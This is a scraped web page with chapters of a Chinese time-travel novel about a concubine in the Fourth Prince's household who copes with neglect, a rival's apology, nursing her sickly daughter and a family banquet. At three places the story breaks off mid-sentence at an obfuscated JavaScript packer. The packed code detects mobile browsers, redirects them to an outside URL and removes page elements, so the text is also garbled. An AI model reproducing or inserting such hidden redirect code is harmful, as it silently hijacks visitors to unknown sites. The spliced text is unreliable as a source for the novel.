两道素菜,一道荤菜,还有一个汤,加一小碗米饭。 素菜是一道凉拌小黄瓜,还有一盘青菜,荤菜则是一道看着就油腻腻地红烧肉,可能有些冷了,肥油都飘在上面,让人看着就没有食欲,至于汤,则是一碗飘着几片菜叶子的清汤。 说起来这确实是按照府里格格们的份例给的,但这菜怎么看怎么敷衍,不说别的,宋时繁如今还在坐月子呢,黄瓜这样寒凉的东西竟都端上了桌,那红烧肉也肥腻得很,月子中的妇人根本不宜多吃。 白薇也看出来了,心 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宋时繁见状心中大骇,直接从椅子上窜了起来:“你别跪了!快起来!好了我不叫你跟我一起吃饭了,你端下去吃,就当是...是我赏你的!对,赏赐,快去吧!” 白薇听见这话又磕了个头:“多谢格格赏赐!” 宋时繁简直要给她跪了,这不能折自己的寿吧?她可受不起这样的大礼啊!这很吓人的好吗?连忙喊道:“好了快起来!不许跪了!” 白薇这才站起身来,端着食盒退下了,准备拿到外间去吃。 宋时繁这才松了口气,拍了拍胸口,心道古人也太可怕了,动不动就下跪磕头这谁受得了啊! 不过话说回来,这膳房的人也着实是过分了些,就算她如今不受宠,好歹也是主子,怎么就能这么敷衍了事呢? “哼,看来这四阿哥府上是穷疯了,成了四阿哥的妾竟是连饭都吃不饱了!” “大胆!你胡说八道什么呢?” 宋时繁吓了一跳,连忙转过身去看,果然门口站着的正是四阿哥。 四阿哥原本是觉得上午太医虽然看过了大格格,但自己总还是有些不放心,正好下午没什么事,便想着再来瞧瞧大格格,顺道看一看宋氏,怎么说也是刚给自己生完孩子,就算身子不好以后不能宠幸了,也是要安抚一二的,便又来了宋氏这里。 谁知道刚一进门就听见了宋氏这大逆不道的话,什么叫爷穷死了,爷的私库不知道有多富裕,从前看宋氏挺规矩的呀,怎么如今越发口无遮拦呢? 另一边的宋时繁却郁闷死了,天爷啊,这人为什么总是神出鬼没的啊!知道是在你自家院子里,但是也不用这么的来去自如吧! 不过总归是自己说了不好的话叫四阿哥听见了,于是宋时繁朝着四阿哥鞠了一躬:“对不起,我不是故意的,只是刚刚吃得太差了,一时没忍住随口说的...” 四阿哥看着眼前规矩乱七八糟的宋时繁再次狠狠皱了皱眉,不过这会不是计较这个的时候,刚刚宋氏说得什么?中午吃得不好? 于是四阿哥沉着脸开口问道:“什么叫午膳吃得不好?膳房的人伺候得不好吗?” 宋时繁闻言抬起头瞪着一双大眼睛看了看四阿哥,啊呀好纠结呀,到底要不要告状呢? 5. 歪打正着 恰在此时,院子外突然传来一阵喧闹的声音。 宋时繁还没来得及搞清楚状况,四阿哥就已经开口问道:“什么人在外面?你这里的人怎么一点儿规矩都没有?吵吵嚷嚷像个什么样子?”宋时繁被四阿哥训得一懵,支支吾吾了一会也说不出个所以然来。 废话,你问我我又该问谁啊?咱俩刚才不是一起在这个屋子里的吗?难不成我有顺风耳?当主子就可以不分青红皂白地质问别人吗?一头雾水的宋时繁在心中忿忿不平地想道。 其实不怪宋时繁,她毕竟刚穿过来,还不太了解情况,再加上原来的宋氏是个没什么主意的人,别说把持住自己的小院儿了,能不被奴才们欺负都算是好的。 所以如今宋时繁这里没有顶用的奴才,不然也不会连四阿哥进了门她都一点不知道,而院子里的奴才中唯一还算靠谱的白薇此时又不在,甚至可能根本不知道四阿哥来了呢。 好在四阿哥身边带着的苏培盛可不是吃干饭的,苏培盛听见四阿哥问话后,小心觑了一眼四阿哥的脸色就连忙回道:“回主子爷,好像是武格格来了,说是要给宋格格赔礼道歉什么的,约莫与武格格身边的奴才冒犯了宋格格一事有关。” 四阿哥一听这话就挑了挑眉,又看了一眼宋时繁,见她面上也带着诧异更觉此事蹊跷,心道莫不是武格格知道爷这会在,所以跑到宋氏这里争宠来了? 不过这回四阿哥确实是冤枉武格格了,武格格倒还真没有这么傻,争宠争到主子爷脸上她是怎么也不敢的。 其实她是听说自己的奴才中午在膳房提膳时为难了宋格格身边的大丫鬟,便有些惴惴不安。 毕竟她才刚入府还没有根基,比不得宋氏入府早,又有孩子傍身,要知道如今府里可就宋格格一个人有孩子呢,她哪里敢把宋氏得罪深了? 但武格格又怕宋格格拿了她的把柄先告诉了主子爷去,到时候若是主子爷听自己的解释还好,若是不听呢?主子爷会不会觉得她就是个跋扈的性子,从此不去看她了? 所以武格格在心中暗恨小英子那眼皮子浅的狗奴才给自己惹事的同时,又不得不想法子解决,这才连忙过来。 至于为什么在院子门口就闹开,这倒真地算是武格格倒霉了。 因为武格格此时压根不知道主子爷就在宋时繁的屋子里,她只是觉得自己声势浩大得来了,不管怎么说面子上是做足了,也给足了宋格格台阶下,想必宋格格也不好再拿去跟主子爷说嘴,就算事后主子爷再知道这事,也只会觉得她懂事。 可武格格没想到她自己点儿太背,竟就这么歪打正着撞到了四阿哥的枪口上,四阿哥这会不知道也知道了,还叫四阿哥以为她是在争宠,这下她算是有嘴也说不清了。 当武格格进到宋时繁的院子里,看见苏培盛站在门口的时候吓得直接咬到了舌头尖,一阵钻心的疼痛,险些没叫出声来。 “给武格格请安”苏培盛老神在在地请安声唤回了武格格的神智,武格格见状连忙侧开身子,不敢将苏培盛的礼受全,想了想还是开口问道:“莫不是主子爷在里头?” 其实武格格问也是白问,四阿哥自然在里头,否则在这府里谁还能劳动苏培盛给守门呀,所以武格格问完后自己也梗住不知道说什么了。 苏培盛没在意武格格的反应,他陪伴四阿哥多年,早就混得跟人精一样了,这时候不会给武格格难堪,于是他仍是恭敬地点点头道:“回武格格的话,主子爷让您进去呢。” 武格格知道这下事情是彻底闹大了,问题是她还不能怨旁人,谁叫这是她自己捅出来的呢?可也没法子了,只能强壮镇定往宋格格的屋里走去。 武格格一进屋就见宋时繁躺在床上,而四阿哥正在给宋时繁盖被子,顿时心中一惊,到底是谁说宋氏不受宠的?四阿哥都亲自给盖被子了,这还叫不受宠? 其实真实情况是,四阿哥觉得刚生产完的妇人都应该躺在床上休息着才对,所以他见宋时繁还自己下床吃饭的时候,便觉得是丫鬟慢待了,无论宋时繁怎么解释坐月子也可以适当下床动一动四阿哥就是不信,甚至要把她院子里的丫鬟全都发落了。 宋时繁跟这个思想顽固的皇子讲不通道理,又不能眼睁睁看着别人因为她自己受罚,所以她只能认命躺回床上,至于盖被子嘛,四阿哥表示只是单纯顺手而已,谁叫这宋氏看着这么凄凉,连坐月子都没人伺候。 可一旁的武格格却更加惴惴不安起来,但还是要强撑着笑,先二话不说俯身给二人问好,“给主子爷请安,给宋姐姐请安”等了一会见四阿哥不说话然后才又小心翼翼地问宋时繁:“宋姐姐身子好些了吗?” 宋时繁这还是第一次见武格格,之前只从白薇的嘴里听说过,今次一见果真是明艳活泼的长相,一双大眼睛湿漉漉地,就这么怯怯地瞧过来把她的心都看得一颤。 只听武格格继续说道:“妹妹刚入府,之前宋姐姐还在孕中,妹妹也不敢贸然来打扰,所以一直都没有机会得见姐姐,不过妹妹刚来就听说宋姐姐性子极为和善,是府里最好相处的人了!” 宋时繁听完这话委实是有些佩服古人自来熟的本事,合着见都没见过竟就能姐姐妹妹起来了,语气还极为熟络,说得宋时繁鸡皮疙瘩都起来了。 可武格格一点也不觉得这些话腻歪,说到这里的时候还眨巴着眼睛又看了宋时繁两眼,紧接着又道:“今日一见果真如此呢,宋姐姐一看就是面善的人,妹妹私心里都想把宋姐姐当作我的亲姐姐了呢。” 武格格这一番唱念做打下来看得宋时繁叹为观止,这武格格是真得会做人,好听话跟不要钱一样往外说,就是她真有错别人也不好跟她计较了,而且长得还甚是是娇俏,连她这个女人都不忍心责备了,更何况男人。 想到这里宋时繁就去瞧四阿哥的脸色,想看看四阿哥是什么反应,可四阿哥接收到宋时繁的目光时却误会了。 这宋氏莫不是觉得爷会偏袒新人?爷在宋氏心里竟是这么不顾念旧情的人吗?再说了,不管谁犯错都该罚,否则这府里的规矩不就要乱套了?于是被宋时繁看得很不爽的四阿哥语气更不好了:“你今日来是什么事?”这话是问武格格的。 武格格被四阿哥严肃的语气吓了一跳,但还是硬着头皮解释道:“今日妹妹身边的太监出言不逊,冒犯了宋姐姐,妹妹已经罚了那狗奴才,一切都是妹妹御下不严才惹出来的祸事,还望宋姐姐原谅。”语气略带娇憨,仿佛是自家小妹犯了小错,正在撒娇祈求姐姐的原谅。 四阿哥一听就听出来猫腻了。 这事乍一看好像只是奴才们言语上没顾及,实际还是那些刁奴们觉得自己对宋氏态度平平,所以便欺负到了宋氏的头上来,再一结合自己刚来时候,宋氏念叨吃不饱的话,心中更加气愤。 其实四阿哥想得很简单,爷不喜欢宋氏那是爷自己的事,但府里的奴才们要是见人下菜碟就不行,难不成自己的女人还能叫一群奴才们给欺辱了不成?再说了,这宋氏怎么也给爷生了孩子的,总是有些不同,这些奴才这样还敢欺负,日后心大了还得了? 于是四阿哥的语气也不客气起来:“既然太监犯了错就退回内务府去,这样奴大欺主的人岂能再留在身边伺候?” 武格格一听这话心里就是一个咯噔,看来要想轻易把这件事揭过去怕是不行了。 于是也不敢作他想,连忙道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫不是爷的府上真穷得不成样了?竟把个小格格亏待成这样?怎么才这么一点东西就叫她如此高兴了?瞧她那一张脸上见牙不见眼的,以前怎么没发现宋氏这么没出息?四阿哥默默扶额。 后来四阿哥从宋时繁这里离开回到前院以后立刻便让苏培盛从自己的私库里选了好些东西送到了宋时繁的小院子,也没说是因为什么。 所以当府中众人突然看见苏培盛带着大把赏赐进了宋时繁的小院时,均是一头雾水,摸不清四阿哥为什么突然赏赐宋格格。 福晋知道这件事后和身边的嬷嬷揣度道:“也许主子爷是想要赏赐宋格格生产有功?” 虽然前天四阿哥还跟福晋说大格格身子弱,此番就不要赏赐了,免得惊了小孩子,现在又突然...也许是因为大格格这两天好些了?所以四阿哥看着高兴便又赏了呢? 总之四阿哥都赏了,福晋也不好装作不知道,便也叫人准备了东西赏赐下去,府中剩下的三位格格看着两位主子的风向便也准备起礼物来,不过她们就不能叫赏赐了,都是一样的身份说什么赏不赏的,只能叫做贺礼,好生送到了宋时繁那里。 而这头宋时繁看着大堆的礼物是真得很高兴,她可不管别人为什么送礼,这年头能送的东西都是时兴布料、金银首饰什么的,对于如今贫穷的自己来说是真的很需要好吗?反正是四阿哥先送的,宋时繁也不怕错了规矩,收了就收了。 这些好处还只是明面上的,宋时繁不知道的是,也因为这些接二连三的事情一闹,好歹是让四阿哥将宋时繁往心里记了记,虽然现在在四阿哥的心里,如今的宋时繁就是个吃不饱饭穿不暖衣穷得叮当响的小可怜格格。 形象虽然不怎么好,但好歹叫四阿哥决定以后有空要多来看看宋氏,免得一不留神这宋氏就饿死在自家后院里了,那得多叫他这个皇阿哥面上无光是不是? 6. 想自己喂 自从四阿哥赏赐了宋时繁一回后,府中众人对待宋时繁的态度就有了些变化。 首当其冲便是膳房送过来的菜色好看了不少,当然,可能也有一半原因是宋时繁让白薇送到膳房里的银子起了作用。 宋时繁觉得自己穿越到清朝当小妾就已经够凄惨了,绝对不可以再委屈了自己的嘴,所以便带着白薇找到了原主压箱底的银子,仔细数了数有三十二两半。 首饰也有一些,不过都是半新不旧的样子,估摸着是历年来得到的赏赐,被原先的宋氏给积攒下来了,可首饰换不了银子,宋时繁如今当务之急是解决她的温饱问题。 没错,真的是温饱问题,要想从府里膳房提到点能吃的东西,就得一天三顿地带着银子去孝敬,否则拿到的饭菜虽说不是残羹冷炙但绝对也称不上好就是了。 于是宋时繁当即就从这些银子中分出十两来交给白薇,“每日去膳房的时候多少带点意思意思,咱们若是想要在府里日子过得好点,怎么也得守着点府里的规则不是,潜规则也是规则嘛...”原主可不就是没看明白自己的处境,一味只知道谨小慎微,到了最后也没落下什么好处。 当然了,这些话宋时繁也只能在心里想想,是绝对不能透露给白薇听的。 银子给出去还是有用的,这不,今日送来的午膳就好了很多,一道清炖豆腐,一道鲜蘑菜心,还有一条清蒸鱼,主食是薏仁米粥,外加几个枣泥饽饽,一看就是膳房着意添上来的。 这一顿吃得宋时繁十分满足,她也没忘了白薇,知道白薇不肯跟她一起吃饭,于是每道菜只吃半边,剩下的便留给白薇,“这边我都没动过,你吃吧。” 白薇倒没有嫌弃宋时繁的意思,毕竟在清朝人的心里,能吃到赏赐下来的菜这是主子们体贴奴才呢,要不皇上还经常赏菜呢,这时候叫恩赐,说明主子看重你呢,于是白薇便欢欢喜喜地将菜撤走了。 宋时繁吃饱了也不想躺下,又不敢出去吹风,便在屋子里慢慢踱步,消化消化。 就在这时苏培盛来了宋时繁的小院。 “给宋格格请安”苏培盛一进门就规规矩矩地给宋时繁行礼。 宋时繁不妨他这个时候过来,还以为他是来替四阿哥看孩子的,于是便道:“大格格刚刚叫奶娘抱去睡了,在西厢呢。” 苏培盛知道宋时繁误会了忙解释:“奴才今天并不是来瞧大格格的,是奉了主子爷的命将给大格格新选的奶娘送过来。” 宋时繁这才想起来,大格格身边还缺了一个奶娘,按例,府上的格格们都应该有两个奶娘的,大格格这边被撵走一个,就有了一个空缺。 想到这里宋时繁也没说什么,只是问了一句:“这事福晋知道了吗?” 毕竟宋时繁以后是要在福晋手底下讨生活的,叫四阿哥撵走了一个福晋选的奶娘已经很不好了,如今要是再不经过福晋的手选了新的奶娘进来,还不知要把福晋得罪成什么样呢,于是便有此一问。 苏培盛一听就道这宋格格真是个懂规矩的,“宋格格放心,来之前已经叫福晋见过了,福晋点了头奴才这才将人带过来呢。” 宋时繁听罢也没什么好问的了,于是便打算让苏培盛将人送去西厢。 却在这时,白薇慌张跑到屋里来了:“格格不好了,大格格吐奶了,如今哭得不行呢!” 宋时繁当下就着急起来,什么也没顾上便往西厢跑去。 得,这下走不了了,好歹是主子爷如今唯一的孩子,这要是出了什么差错可不得了,苏培盛在心里暗暗想着,也一转身跟在宋时繁身后朝大格格屋里走去。 还没进屋便听见了大格格的哭声,嗓子都快要哭哑了,宋时繁忙从奶娘手中接过孩子,心疼地哄着,好在没一会大格格便不哭了,也许是到了亲额娘的怀抱,也许是闻到了亲额娘的味道,总归是安静了下来,只是还一抽一抽的,瞧着很是可怜。 宋时繁见状难受坏了,又急得不行,张口便问奶娘:“什么时候吐的奶?吐了几次?怎么这时候才来说?”此时的宋时繁语气十分凌厉,叫苏培盛有些侧目,心说宋格格这么厉害地一面倒是少见。 而此时被宋时繁质问的奶娘赵氏心中也害怕得很,前两天才赶走一个奶娘,这会她生怕回答不好叫自己也遭了殃,于是也不敢敷衍,忙答道:“刚刚奴才喂完大格格以后便准备哄大格格睡觉,可大格格约莫不舒服,有些不愿意睡,紧跟着就吐奶了,只吐了一回,吐完就开始哭了,奴才怕大格格将嗓子给哭坏了,便忙找了白薇姑娘。” 宋时繁听完稍微放心了些,可能是这孩子早产,肠胃功能发育得没有一般健康孩子那么好,猛地吃完奶以后就有些不消化了,才引发了吐奶的症状。 知道原因后宋时繁倒没有那么紧张了,但保险起见她还是对苏培盛道:“能劳烦苏公公叫个大夫来吗?还是要看看我才能放心的。” 苏培盛也知道事情轻重,忙说:“格格哪里话,这是应当的,奴才方才已经着人去请了,想必很快就能到。” 宋时繁点点头表示知道了,随即看见大格格在自己怀里扭来扭去,想必还是不舒服的,于是宋时繁便将大格格轻轻放到了床榻上,然后按照顺时针的方向开始轻柔地按摩起大格格的小肚子来。 过了好一会大格格仿佛好受些了,俨然已经沉沉睡去,还在睡梦中吐了一个口水泡泡,宋时繁这才彻底放下心来,恰好此时大夫也来了。 大夫看过以后诊断出来的情况跟宋时繁估计得差不多,其实归根结底还是大格格胎里就弱,没发育好,所以生下来便三病两灾的,这也是没办法的事,只能慢慢调理着。 就在大夫被苏培盛带着准备离开的时候,宋时繁突然开口问道:“若是有了亲额娘喂奶给大格格吃,大格格的身体能好些吗?” 其实宋时繁知道母乳里营养成分很多,能促进孩子生成抗体,当然,若是在现代还可以吃奶粉,现代奶粉的成分已经足以提供婴儿所需的营养,更不用提现代的那些先进医疗手段,就算孩子天生体质差,后期也能养回来。 可如今是在这坑爹的清朝,宋时繁就不得不想点原始的办法了,不过这些话她又没法直说,只能借着提问的方式让大夫说出母乳更好的话来。 宋时繁想法很美好,但听见这句话的人皆是一愣,要知道皇子府上可向来是没有这个规矩的,毕竟府上的女人就算是生了孩子也都是要时刻准备着伺候阿哥爷的,哪能亲自喂养小孩,可如今宋格格竟是存了这样的想法?莫不是她真不打算要主子爷的宠爱了? 宋时繁不知道众人的想法,也管不了他们在想什么,她现在只想要大格格好起来,便只拿一双眼睛直勾勾地看着大夫,等一个答案。 大夫自然知道皇家里没有额娘亲身喂养这一说,不过民间的孩子确实是喝亲额娘的奶,身体也普遍好些,于是开口就带了些犹豫:“按说生身母亲若能亲自喂养自然对孩子有好处些,只是您...” 宋时繁知道大夫的未尽之语是什么,左不过就是这里是皇子府,而她如今的身份充其量就是个伺候男人的玩意儿,怎么还敢把伺候男人的事往后面排呢? 可宋时繁不想考虑这些,她现在只想救救自己的孩子,总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045503|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能知道有更好地法子还叫这孩子去死吧?于是她坚持道:“既然知道有好处就行,大夫你不必犹豫,尽管开方子给我通奶,若是能叫大格格好了你想要什么都行。” 苏培盛见状心道不好,刚还觉得宋格格懂规矩,怎么这会又任性妄为起来呢,忙劝道:“宋格格不可,奴才知道您是爱护大格格心切,但此事实在不合规矩,还是要报给主子爷定夺才行啊!” 宋时薇闻言抿了抿唇,还是争取了一下:“行吧,不过大夫可以先将开奶的药方留下,我也能先准备起来,毕竟这事不是一簇而就的。” 苏培盛看宋时繁如此坚持也不好说什么了,亲自看着大夫开完药方子以后便赶忙回前院禀报主子爷去了。 前院里,四阿哥听完苏培盛回话后一时也有些没办法接受。 要知道四阿哥可从来没听说过母乳喂养这一回事,皇室里哪个格格、阿哥身边不是一堆奶娘跟着伺候,若是奶娘的奶不好换了便是,哪里这么麻烦?这宋氏竟还想自己奶孩子,简直不成个体统! 但四阿哥转念又想到了大格格的身体,他心里又有些不确定了,“大夫真地说如此对孩子好吗?” 苏培盛没想到四阿哥竟然会问他大夫怎么说,他还以为四阿哥会一口回绝了呢,毕竟这件事确实是太出格了,不过他不敢露出端倪,只低头道:“大夫确实说民间有这样的事,也说了是对孩子有些好处的。” 四阿哥沉吟了一会,终于还是道:“也罢,让她试试去吧!” 若是为了这点子规矩就耽误了孩子他也是舍不得的,他也不是一味将规矩的迂腐人,算了,就让宋氏去试试看吧,左右宋氏只是个格格,就算这件事情出格了些,到底也只是在自家府里,料想不会有人追究什么。 于是得了准信儿的宋时繁便开始勤勤恳恳喝下奶方子,膳房那头也得了四阿哥的吩咐,一日三餐都是又清淡又利于开奶的饮食。 宋时繁一边吃着那些没味道的膳食,一边还得喝药,嘴里都快尝不出味道来了,从前的宋时繁想都不敢想有一天她竟然会自己主动要求做这些事,但看着大格格气色一天比一天好的时候,宋时繁只能苦中作乐地安慰自己,为母则刚嘛。 不过宋时繁的身体还是太差,奶量实在是不多,这时候就体现出有奶娘的好处来了,宋时繁和两个奶娘一起喂大格格,总算是差不多够大格格一天的奶量了。 这头四阿哥倒是对此事没再说什么了,但福晋的心中却有些不高兴,原因无他,说到底还是因为宋时繁坏了规矩。 福晋这个人年纪虽然不大,但自觉自己做了皇子府的嫡福晋,便时刻想端起架子来,又常用规矩压人,所以宋时繁此举在福晋看来便是在挑战权威了。 可这事又是四阿哥亲自放话准了的,福晋不能公然反对四阿哥,便在心里对宋时繁暗暗存了几分不满,“从前看她乖巧,还只当她是个好的,如今有了孩子倒越发不像话起来!” 福晋从家带来的吴嬷嬷知道福晋心里气闷,怕福晋气坏了身子,连忙劝道:“气大伤身,福晋不要跟一个格格计较,这宋氏眼瞅着是不成气候了,何必跟她较劲呢?如今您抓紧怀个孩子才是正经事,府里现在可还没有男孩呢,这就是好事,您有了孩子便是嫡长子,到时候才算是在府上站住了脚呢!” 福晋听见这话也有些黯然,不由自主地将手放到肚子上抚了抚,是啊,还是该有个孩子才行啊,她跟四阿哥成婚至今也有段日子了,四阿哥来得时候也不少呀,怎么就是不见有信呢? 不过福晋到底还是没能如愿,因为先传出来喜讯的是李格格。 7. 家宴(上) 这日,刚出月子的宋时繁在自己的小院儿里哄着大格格玩,如今的大格格看起来比刚出生时好多了,虽然脸色还很是苍白,比不上一般小孩红润,但好歹没那么瘦弱了。 大格格也乖巧得很,除了身体不舒服的时候会哭上一哭,其余时候从来都不哭也不闹的,宋时繁和她玩,她就睁着一双眼睛看着宋时繁,直把宋时繁看得一颗心都颤了三颤,然后口中便不住地喊起“心肝肉”来了。 白薇进门时看见的就是这样一副情景,宋时繁正搂着大格格笑得眉眼弯弯,露出了一排整齐的牙齿,白薇有些纳罕,心说这自家主子怎么有了孩子以后反而看着还显小些了呢,竟是跟个孩子一样又爱玩又爱闹的。 想到这里白薇便抿嘴笑了起来,宋时繁看见便问道:“笑什么呢?” 白薇听见主子说话忙收起笑来:“回格格的话,奴才没笑什么,是有事要禀报呢,福晋身边的小圆来了,这会就在外头,奴才估摸着应该是福晋有事找您呢!” 宋时繁闻言眨巴了一下眼睛,这会子不年不节的,福晋突然找自己做什么? 也不怪宋时繁紧张,她来了以后便赶上坐月子,一直窝在屋子里没出去,对于穿越这件事其实还没有实感,可才刚出月子便有人找上门来,还是自己的顶头上司找,心下总是有些慌张的。 就在宋时繁愣神的这会功夫,白薇已经将小圆迎进来了。 “奴才给宋格格请安!”小圆人如其名,脸长得圆圆的,眼睛也圆圆的,见人便是三分笑,看着就十分讨喜,福晋每每有话传时来得都是小圆。 “哎,小圆姑娘快请起,是福晋有什么事吗?”宋时繁有些不自在地询问道。 小圆浅浅一笑:“宋格格还不知道呢?咱们主子爷被皇上封了贝勒爷,这是天大的好事,福晋说府上合该庆贺一番,便吩咐下来今日傍晚在延庆阁摆宴,福晋还特意嘱咐了,宋格格刚出月子,很是应该出门热闹热闹呢!” 宋时繁一听这话的意思就知道自己不得不去了,于是点了点头道:“我知道了,劳烦小圆姑娘替我多谢福晋的好意,到时侯我一定去。” 宋时繁说完便用眼神示意白薇送小圆出去,不过赏赐倒是不必的,小圆毕竟是正院里福晋身边的人,还轮不上宋时繁来赏赐,白薇也是知道分寸的,直将小圆送出了院门,又在门口站了会儿才回到屋子里。 白薇回来后,宋时繁让奶娘将大格格抱走,随即招手让白薇上前,问道:“这两天府里是发生什么事了吗?” 白薇不明白宋时繁为何突然这样问,思索了一会才犹豫道:“要说有什么大事的话,那许是李格格有孕的事?前两日奴才去膳房提膳的时候从一个小太监那里听来的,好像才刚怀上一个月呢。” 宋时繁听到这里有些诧异,按理来说不是应该最起码等满了三个月再说出来才稳妥吗?怎么这会子就闹得府里都知道了? 许是宋时繁脸上的诧异太过明显,白薇继续解释道:“也是巧了,李格格孕期反应大,据说那日主子爷恰好去李格格屋子里用午膳,谁知道李格格刚闻见鱼腥味就吐了出来,主子爷见状请了太医来看,说是有了身子,主子爷听了高兴,当即便赏赐了李格格,还特意吩咐膳房以后李格格那边的饮食要格外注意,所以府里上下就都知道了。” “这就是了,李格格突然有孕,福晋是着急了,我说怎么今日突然想起我来,合着是想抬出我这个最早进府又有了一个孩子的人去压一压李格格,咱们这福晋倒是打得一手好算盘。”李格格自进府以后便得宠至今,如今又怀上了身孕,眼见着四爷十分高兴,福晋能不着急吗?她可还没有孩子呢,要是叫李格格生下个庶长子来,福晋的面上可就不好看了。宋时繁有些无奈地摇了摇头。 白薇闻言有些着急,“那可怎么办呀?不若格格称病?如今格格刚出月子,就是突然有个病痛福晋应该也能理解的吧?” 宋时繁心说福晋要是能这么轻易放过自己才是有鬼,“怕是不成,今日看福晋的意思是一定要我去的...不过你也别太担心了,这还只是我的猜测呢...”宋时繁见白薇吓得脸色都发白了,忙出言安慰了几句。 很快到了半下午,宋时繁在白薇的帮助下,打扮了起来。 看着镜子里那张陌生的女人面庞,宋时繁深深地叹了口气。 其实这段时间宋时繁都不敢照镜子的,就像鸵鸟把头埋进沙子里一样,借着坐月子的借口躲着外人也躲着自己,如今看着镜子里跟自己全然不同的脸时,她终于意识到自己不能再逃避了。 想到这里宋时繁又呼出了一大口气,这次不是颓丧的,反而有种给自己打气的意味,现代的生活已经像是一场梦一样离自己远去了,如今的自己必须得振作起来,连着消失的宋氏一起,把日子好好过下去才是正经。 由着白薇捯饬了好一会,才算收拾妥当。 等到终于打扮好了以后,宋时繁朝镜子里一看,立刻就在心中给白薇竖起了大拇指。 不得不承认白薇是真有些化妆的本事在身上的,若是白薇到了现代肯定能成为一个优秀的美妆博主,分分钟粉丝上千万的好吧。 其实原先的宋氏底子不差,生下来就是一副柔弱无骨的长相,睫毛绵长微翘,鼻子小巧秀挺,下颌尖尖,五官十分精致。 但因为常年卧病的缘故,原先的宋氏脸上总是带着病气,虽然皮肤白皙胜雪,可太白了在宋氏身上反而显得不健康,再加上她的身量过于纤瘦,总是一副风吹就倒,随时要凋零的模样,看着就让人喜欢不起来。 而如今白薇却只是随意在宋时繁的脸上描画了几下,并没有过分遮掩病气,反而将宋时繁的唇瓣涂得嫣红,在原身柔弱的基础上平添了一丝清冷脱俗。 发饰更是简单,小两把头的发髻上并没有过分的装饰,只在右边简单插了支玉簪,簪头雕刻成了梅花的样式,又在发髻两端各簪了一个银制的吉庆纹流苏,又将一朵纱堆出来的花别上,最后再在花的旁边点缀了几颗小珍珠就成了。 搭配头发的是一身湖蓝色的旗装,宋时繁皮肤白皙,这个颜色衬得她肌肤欺霜赛雪,更显清丽脱俗,上衣领口一圈白绒绒的毛领,不觉累赘,反而添了些娇俏。 宋时繁对着镜子左瞧右瞧,不由感叹了一句:“白薇啊,你家主子我这是被你打扮成一朵风中摇曳的小白花了呀!”说着自己觉得好笑便笑了出来。 白薇不明白宋时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045504|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 繁是说得小白花是什么意思,还以为宋时繁不喜欢这样打扮,忙道“可是这样不好?时间还来得及,不若我再帮格格改改?” 宋时繁连忙摆手:“不用不用,我就是随口一说你不用当真,这样很好了,咱们快些走吧。”说完拉着白薇就往外走。 延庆阁是依着湖水而建的,离宋时繁住的地方有些远,需要绕过府里的花园,还得再走过一座桥才能到,好在宋时繁穿得多,手里又抱着白薇临出门前塞给她的手炉,所以一路走下来并不是很冷。 等到了延庆阁的时候,宋时繁发现她是最早到这里的。 好在延庆阁里一切已经布置妥当了,有小太监看见宋时繁到了以后忙迎了上来,又将宋时繁引到偏厅里坐着喝茶,喝上一口热茶后,宋时繁的心里熨帖了不少,便耐下性子等其他人到。 这样也好,借着这次宴会将府里人一次性认齐,也算省事,至于宴会上也许会发生的事,那就只能见招拆招了,宋时繁一边喝茶一边在心里默默思索着。 没等多会,郭格格和武格格就结伴来了,这两人是一同进府的,福晋便将二人安排着住到了一块,所以这时候就一起来了。 两人到了以后先和宋时繁互相见礼,穿来这么久宋时繁别的不会,总算是知道该如何行礼了,这会子跟郭格格和武格格二人顺顺当当地见了个平礼,宋时繁在心中悄悄松了一口气,毕竟这是一个很好地开始嘛。 三人见过礼后就都坐下开始喝茶,一时谁都没有说话,毕竟真要说起来,除了武格格和宋时繁在之前见过一面,她们三个人还真得不熟,这会子便也没有办法硬聊。 又等了一会,福晋和四爷一起到了,小太监便过来偏厅说可以入席了,三人放下茶盏就往正厅走去,到了正厅只见福晋和四爷已经坐下了,三人忙又上前行礼:“奴才们给主子爷请安,给主子福晋请安!” 四爷在三人中一眼就看向了宋时繁,倒也不是有多关注她,只是之前宋时繁一直在坐月子,四爷不方便常常去,就算去了也都是直接去看孩子的,所以算得上是许久没见过宋时繁了,今日再见到宋时繁又觉得她好像比往日里漂亮了不少,别得不说,就是看着特别招人疼的样子,所以四爷便多看了两眼。 这一多看不要紧,就是耽误了叫起,请安的三人见四爷一直不让她们起来心中俱是有些忐忑,好在没一会四爷便回过神来:“都起来吧,不必多礼了。”三人这才如释重负一样站起了身子。 福晋适时接话:“都过来坐下吧,今日是家宴,不必拘束,也不要你们伺候了,怪累人的。”三人忙又行礼谢福晋:“多谢主子福晋体恤奴才们。” 说话间李格格到了,等李格格给四爷和福晋请完安以后,宋时繁忙又起身和武格格、郭格格一起与李格格见平礼,就这么一会功夫宋时繁已经不知道自己行了多少次礼了,别问,问就是人已经麻了。 